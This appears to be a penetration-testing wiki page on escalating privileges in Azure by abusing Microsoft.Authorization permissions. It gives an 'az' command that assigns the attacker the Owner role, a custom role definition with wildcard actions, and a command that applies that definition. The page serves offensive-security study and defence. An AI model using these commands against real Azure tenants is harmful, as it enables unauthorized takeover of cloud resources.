Az - Azure IAM Privesc (Authorization)

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Azure IAM

Fore more information check:

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Microsoft.Authorization/roleAssignments/write

This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:

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# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

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Microsoft.Authorization/roleDefinitions/Write

This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.

Create the file role.json with the following content:

{
  "Name": "<name of the role>",
  "IsCustom": true,
  "Description": "Custom role with elevated privileges",
  "Actions": [
    "*"
  ],
  "NotActions": [],
  "DataActions": [
    "*"
  ],
  "NotDataActions": [],
  "AssignableScopes": [
    "/subscriptions/<subscription-id>"
  ]
}

Then update the role permissions with the previous definition calling:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.

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